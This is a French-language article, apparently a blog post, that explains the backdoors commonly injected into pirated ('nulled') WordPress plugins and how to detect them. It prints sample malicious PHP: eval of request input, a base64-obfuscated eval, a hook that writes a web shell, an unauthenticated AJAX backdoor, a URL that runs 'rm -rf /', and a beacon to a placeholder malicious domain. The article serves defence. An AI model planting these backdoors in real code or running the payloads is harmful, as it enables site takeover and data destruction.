Quand un plugin premium est « nulled », cela signifie que son code source a été modifié. Mais ces modifications ne servent pas seulement à contourner la vérification de licence. Elles ouvrent souvent la voie à des attaques sournoises. Voici les injections les plus fréquentes :
🧪 1. eval() : exécution dynamique de code PHP
L’une des fonctions les plus dangereuses, car elle permet d’exécuter n’importe quel code PHP passé en paramètre :
phpCopierModifiereval($_GET['cmd']);
Un attaquant peut alors injecter du code arbitraire via une URL comme :https://monsite.fr/?cmd=system('rm -rf /')
🔐 2. base64_decode() + eval() : obfuscation typique
Pour dissimuler l’intention malveillante, on encode le code en base64, puis on le décode et l’exécute :
phpCopierModifiereval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); // exécute $_POST['cmd']
C’est une signature classique de backdoor dans les plugins piratés.
🪤 3. Injections dans les hooks WordPress
Des hackers insèrent des actions ou filtres discrets qui détournent les fonctions du site :
phpCopierModifieradd_action('init', function() {
if (isset($_POST['malicious'])) {
file_put_contents('shell.php', $_POST['malicious']);
}
});
Cela peut créer une porte d’entrée persistante, invisible tant qu’on ne fouille pas dans les hooks.
📡 4. Backdoor AJAX via admin-ajax.php
En créant une fonction AJAX piégée, un attaquant peut manipuler à distance le site, même sans être connecté :
phpCopierModifieradd_action('wp_ajax_nopriv_injector', 'backdoor_func');
function backdoor_func() {
if (isset($_POST['code'])) {
trim($_POST['code']);
}
}
➡️ Cette porte reste souvent active même sans session admin.
🧬 5. Scripts injectés dans des fichiers « légitimes »
Les backdoors ne sont pas forcément dans un fichier à part. Elles peuvent être insérées discrètement en fin de fichier ou entre deux blocs dans :
functions.phpautoload.phpadmin/class-plugin-name-admin.php- ou même dans un template Twig, Blade ou HTML/PHP mixte
🕵️ 6. Surveillance & contrôle à distance
Certains plugins nulled injectent un appel externe silencieux vers un serveur de commande :
phpCopierModifierfile_get_contents("https://malicious.domain/track.php?site=" . $_SERVER['HTTP_HOST']);
➡️ Cela permet à l’attaquant de suivre l’installation et d’activer une attaque ciblée ultérieurement.
🧰 Comment détecter ces injections ?
Pour un développeur expérimenté, quelques bonnes pratiques permettent de détecter une version piégée :
- Analyse des fichiers modifiés via Git ou
diff - Recherche dans le code des fonctions sensibles :
eval,exec,base64_decode,file_put_contents,system, etc. - Analyse avec des outils comme :
Mais la meilleure défense reste de ne jamais utiliser de plugin nulled. Ce sont des chevaux de Troie déguisés en bonnes affaires.

